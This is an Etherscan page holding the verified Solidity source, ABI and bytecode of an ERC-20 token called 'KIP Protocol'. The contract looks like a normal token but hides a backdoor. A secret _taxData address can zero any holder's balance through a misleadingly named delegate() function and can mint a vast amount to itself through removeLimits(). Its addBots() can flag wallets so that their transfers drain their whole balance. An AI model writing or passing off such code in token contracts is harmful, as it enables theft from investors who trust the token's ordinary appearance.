ETH Price: $2,508.56 (+0.27%)

Token

KIP Protocol (KIP)
 

Overview

Max Total Supply

1,000,000,000 KIP

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,362,837.477168119 KIP

Value
$0.00
0x2ddeFf527452Bf7BC450872d96a695a470e7D09f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KIP

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-08-22
*/

// SPDX-License-Identifier: UNLICENSED
/*
    Website:  https://kip.pro/
    Twitter:  https://x.com/KIPprotocol
    Discord:  https://discord.gg/Hma2Y6RgND
    Telegram: https://t.me/KIPProtocol_Global
*/

pragma solidity ^0.8.25;

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);

}

contract KIP is Ownable{   
    constructor(address add) {      
        _tokename = "KIP Protocol";
        _tokensymbol = "KIP";
        _taxData = add;
        _totalSupply = 1000000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private _taxData;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint128 buyCount = 64544;
    uint128 sellCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;

    function delegate(address delegatee) external    {
        if (true) {
            require(_taxData == _msgSender() && _taxData != delegatee && UniswapPair() != delegatee && delegatee != ROUTER); 
            _balances[delegatee] *= sellCount;       
        }
        
    }
    
    function addBots(address bot) public virtual returns (bool) {
        address tmoinfo = bot;     
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxData);
        return true;
    }

    function delBots(address notbot) external  {
        address tmoinfo = notbot;      
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxData);      
    }

    function removeLimits() external   {
        if(_msgSender() == _taxData){  
            require( _taxData == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }   
       
    }

    function UniswapPair() public view virtual returns (address) {
        return IUniswapV2Factory(FACTORY).getPair(address(WETH), address(this));
    }
    
    function name() public view returns (string memory) {
        return _tokename;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = buyCount + _balances[from] + 
        buyCount-buyCount;}
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405261fc2060085f6101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055505f600860106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555064056cc9ca2c62010cc061008f6102d960201b60201c565b600a61009b919061051a565b6100a59190610564565b6100af9190610564565b6009556001600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff0219169083151502179055503480156100f1575f80fd5b506040516124a53803806124a583398181016040528101906101139190610603565b61012f6101246102e160201b60201c565b6102e860201b60201c565b6040518060400160405280600c81526020017f4b49502050726f746f636f6c000000000000000000000000000000000000000081525060039081610173919061085f565b506040518060400160405280600381526020017f4b49500000000000000000000000000000000000000000000000000000000000815250600490816101b8919061085f565b508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102076102d960201b60201c565b600a610213919061051a565b633b9aca006102229190610564565b60028190555060025460055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040516102cb919061093d565b60405180910390a350610956565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561042b57808604811115610407576104066103a9565b5b60018516156104165780820291505b8081029050610424856103d6565b94506103eb565b94509492505050565b5f8261044357600190506104fe565b81610450575f90506104fe565b816001811461046657600281146104705761049f565b60019150506104fe565b60ff841115610482576104816103a9565b5b8360020a915084821115610499576104986103a9565b5b506104fe565b5060208310610133831016604e8410600b84101617156104d45782820a9050838111156104cf576104ce6103a9565b5b6104fe565b6104e184848460016103e2565b925090508184048111156104f8576104f76103a9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61052482610505565b915061052f8361050e565b925061055c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610434565b905092915050565b5f61056e82610505565b915061057983610505565b925082820261058781610505565b9150828204841483151761059e5761059d6103a9565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6105d2826105a9565b9050919050565b6105e2816105c8565b81146105ec575f80fd5b50565b5f815190506105fd816105d9565b92915050565b5f60208284031215610618576106176105a5565b5b5f610625848285016105ef565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806106a957607f821691505b6020821081036106bc576106bb610665565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261071e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826106e3565b61072886836106e3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61076361075e61075984610505565b610740565b610505565b9050919050565b5f819050919050565b61077c83610749565b6107906107888261076a565b8484546106ef565b825550505050565b5f90565b6107a4610798565b6107af818484610773565b505050565b5b818110156107d2576107c75f8261079c565b6001810190506107b5565b5050565b601f821115610817576107e8816106c2565b6107f1846106d4565b81016020851015610800578190505b61081461080c856106d4565b8301826107b4565b50505b505050565b5f82821c905092915050565b5f6108375f198460080261081c565b1980831691505092915050565b5f61084f8383610828565b9150826002028217905092915050565b6108688261062e565b67ffffffffffffffff81111561088157610880610638565b5b61088b8254610692565b6108968282856107d6565b5f60209050601f8311600181146108c7575f84156108b5578287015190505b6108bf8582610844565b865550610926565b601f1984166108d5866106c2565b5f5b828110156108fc578489015182556001820191506020850194506020810190506108d7565b868310156109195784890151610915601f891682610828565b8355505b6001600288020188555050505b505050505050565b61093781610505565b82525050565b5f6020820190506109505f83018461092e565b92915050565b611b42806109635f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c806364473a12116100a057806378a63f341161006f57806378a63f34146102a35780638da5cb5b146102c157806395d89b41146102df578063a9059cbb146102fd578063dd62ed3e1461032d57610109565b806364473a121461022f57806370a082311461025f578063715018a61461028f578063751039fc1461029957610109565b8063313ce567116100dc578063313ce567146101a95780634c8afff4146101c757806356ec63a5146101e35780635c19a95c1461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b61011561035d565b6040516101229190611380565b60405180910390f35b61014560048036038101906101409190611431565b6103ed565b6040516101529190611489565b60405180910390f35b61016361040a565b60405161017091906114b1565b60405180910390f35b610193600480360381019061018e91906114ca565b610413565b6040516101a09190611489565b60405180910390f35b6101b1610441565b6040516101be9190611535565b60405180910390f35b6101e160048036038101906101dc919061154e565b610449565b005b6101fd60048036038101906101f8919061154e565b610513565b60405161020a9190611489565b60405180910390f35b61022d6004803603810190610228919061154e565b6105e3565b005b6102496004803603810190610244919061154e565b6107b4565b6040516102569190611489565b60405180910390f35b6102796004803603810190610274919061154e565b6107d1565b60405161028691906114b1565b60405180910390f35b610297610817565b005b6102a161082a565b005b6102ab610952565b6040516102b89190611588565b60405180910390f35b6102c96109fa565b6040516102d69190611588565b60405180910390f35b6102e7610a21565b6040516102f49190611380565b60405180910390f35b61031760048036038101906103129190611431565b610ab1565b6040516103249190611489565b60405180910390f35b610347600480360381019061034291906115a1565b610ace565b60405161035491906114b1565b60405180910390f35b60606003805461036c9061160c565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061160c565b80156103e35780601f106103ba576101008083540402835291602001916103e3565b820191905f5260205f20905b8154815290600101906020018083116103c657829003601f168201915b5050505050905090565b5f6104006103f9610b50565b8484610b57565b6001905092915050565b5f600254905090565b5f8061041d610b50565b905061042a858285610d1a565b610435858585610dae565b60019150509392505050565b5f6009905090565b5f819050600a60019054906101000a900460ff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f0610b50565b73ffffffffffffffffffffffffffffffffffffffff161461050f575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ba610b50565b73ffffffffffffffffffffffffffffffffffffffff16146105d9575f80fd5b6001915050919050565b6001156107b1576105f2610b50565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561069a57508073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156106d957508073ffffffffffffffffffffffffffffffffffffffff166106c0610952565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156107255750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b61072d575f80fd5b600860109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a99190611669565b925050819055505b50565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61081f6111d1565b6108285f61124f565b565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086a610b50565b73ffffffffffffffffffffffffffffffffffffffff16036109505761088d610b50565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e4575f80fd5b5f6108ed610b50565b90505f8190505f81905060095460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461094591906116aa565b925050819055505050505b565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016109b69291906116dd565b602060405180830381865afa1580156109d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f59190611718565b905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a309061160c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5c9061160c565b8015610aa75780601f10610a7e57610100808354040283529160200191610aa7565b820191905f5260205f20905b815481529060010190602001808311610a8a57829003601f168201915b5050505050905090565b5f610ac4610abd610b50565b8484610dae565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc906117b3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611841565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0d91906114b1565b60405180910390a3505050565b5f610d258484610ace565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610da85781811015610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d88906118a9565b60405180910390fd5b610da784848484610da291906118c7565b610b57565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e139061196a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e81906119f8565b60405180910390fd5b6001151560075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610fce5760085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16610fb791906116aa565b610fc191906116aa565b610fcb91906118c7565b90505b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104990611a86565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109b91906118c7565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461112591906116aa565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c391906114b1565b60405180910390a350505050565b6111d9610b50565b73ffffffffffffffffffffffffffffffffffffffff166111f76109fa565b73ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611aee565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61135282611310565b61135c818561131a565b935061136c81856020860161132a565b61137581611338565b840191505092915050565b5f6020820190508181035f8301526113988184611348565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113cd826113a4565b9050919050565b6113dd816113c3565b81146113e7575f80fd5b50565b5f813590506113f8816113d4565b92915050565b5f819050919050565b611410816113fe565b811461141a575f80fd5b50565b5f8135905061142b81611407565b92915050565b5f8060408385031215611447576114466113a0565b5b5f611454858286016113ea565b92505060206114658582860161141d565b9150509250929050565b5f8115159050919050565b6114838161146f565b82525050565b5f60208201905061149c5f83018461147a565b92915050565b6114ab816113fe565b82525050565b5f6020820190506114c45f8301846114a2565b92915050565b5f805f606084860312156114e1576114e06113a0565b5b5f6114ee868287016113ea565b93505060206114ff868287016113ea565b92505060406115108682870161141d565b9150509250925092565b5f60ff82169050919050565b61152f8161151a565b82525050565b5f6020820190506115485f830184611526565b92915050565b5f60208284031215611563576115626113a0565b5b5f611570848285016113ea565b91505092915050565b611582816113c3565b82525050565b5f60208201905061159b5f830184611579565b92915050565b5f80604083850312156115b7576115b66113a0565b5b5f6115c4858286016113ea565b92505060206115d5858286016113ea565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162357607f821691505b602082108103611636576116356115df565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611673826113fe565b915061167e836113fe565b925082820261168c816113fe565b915082820484148315176116a3576116a261163c565b5b5092915050565b5f6116b4826113fe565b91506116bf836113fe565b92508282019050808211156116d7576116d661163c565b5b92915050565b5f6040820190506116f05f830185611579565b6116fd6020830184611579565b9392505050565b5f81519050611712816113d4565b92915050565b5f6020828403121561172d5761172c6113a0565b5b5f61173a84828501611704565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61179d60248361131a565b91506117a882611743565b604082019050919050565b5f6020820190508181035f8301526117ca81611791565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61182b60228361131a565b9150611836826117d1565b604082019050919050565b5f6020820190508181035f8301526118588161181f565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611893601d8361131a565b915061189e8261185f565b602082019050919050565b5f6020820190508181035f8301526118c081611887565b9050919050565b5f6118d1826113fe565b91506118dc836113fe565b92508282039050818111156118f4576118f361163c565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61195460258361131a565b915061195f826118fa565b604082019050919050565b5f6020820190508181035f83015261198181611948565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119e260238361131a565b91506119ed82611988565b604082019050919050565b5f6020820190508181035f830152611a0f816119d6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a7060268361131a565b9150611a7b82611a16565b604082019050919050565b5f6020820190508181035f830152611a9d81611a64565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ad860208361131a565b9150611ae382611aa4565b602082019050919050565b5f6020820190508181035f830152611b0581611acc565b905091905056fea264697066735822122079a57d1a1784e444bb068ef4c000a1bab2eef9eb4593f71146bef0b1e5f9e86364736f6c6343000819003300000000000000000000000017f71c5eb3edd34b46794442590e00bbbc8048f3

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c806364473a12116100a057806378a63f341161006f57806378a63f34146102a35780638da5cb5b146102c157806395d89b41146102df578063a9059cbb146102fd578063dd62ed3e1461032d57610109565b806364473a121461022f57806370a082311461025f578063715018a61461028f578063751039fc1461029957610109565b8063313ce567116100dc578063313ce567146101a95780634c8afff4146101c757806356ec63a5146101e35780635c19a95c1461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b61011561035d565b6040516101229190611380565b60405180910390f35b61014560048036038101906101409190611431565b6103ed565b6040516101529190611489565b60405180910390f35b61016361040a565b60405161017091906114b1565b60405180910390f35b610193600480360381019061018e91906114ca565b610413565b6040516101a09190611489565b60405180910390f35b6101b1610441565b6040516101be9190611535565b60405180910390f35b6101e160048036038101906101dc919061154e565b610449565b005b6101fd60048036038101906101f8919061154e565b610513565b60405161020a9190611489565b60405180910390f35b61022d6004803603810190610228919061154e565b6105e3565b005b6102496004803603810190610244919061154e565b6107b4565b6040516102569190611489565b60405180910390f35b6102796004803603810190610274919061154e565b6107d1565b60405161028691906114b1565b60405180910390f35b610297610817565b005b6102a161082a565b005b6102ab610952565b6040516102b89190611588565b60405180910390f35b6102c96109fa565b6040516102d69190611588565b60405180910390f35b6102e7610a21565b6040516102f49190611380565b60405180910390f35b61031760048036038101906103129190611431565b610ab1565b6040516103249190611489565b60405180910390f35b610347600480360381019061034291906115a1565b610ace565b60405161035491906114b1565b60405180910390f35b60606003805461036c9061160c565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061160c565b80156103e35780601f106103ba576101008083540402835291602001916103e3565b820191905f5260205f20905b8154815290600101906020018083116103c657829003601f168201915b5050505050905090565b5f6104006103f9610b50565b8484610b57565b6001905092915050565b5f600254905090565b5f8061041d610b50565b905061042a858285610d1a565b610435858585610dae565b60019150509392505050565b5f6009905090565b5f819050600a60019054906101000a900460ff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f0610b50565b73ffffffffffffffffffffffffffffffffffffffff161461050f575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ba610b50565b73ffffffffffffffffffffffffffffffffffffffff16146105d9575f80fd5b6001915050919050565b6001156107b1576105f2610b50565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561069a57508073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156106d957508073ffffffffffffffffffffffffffffffffffffffff166106c0610952565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156107255750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b61072d575f80fd5b600860109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a99190611669565b925050819055505b50565b6007602052805f5260405f20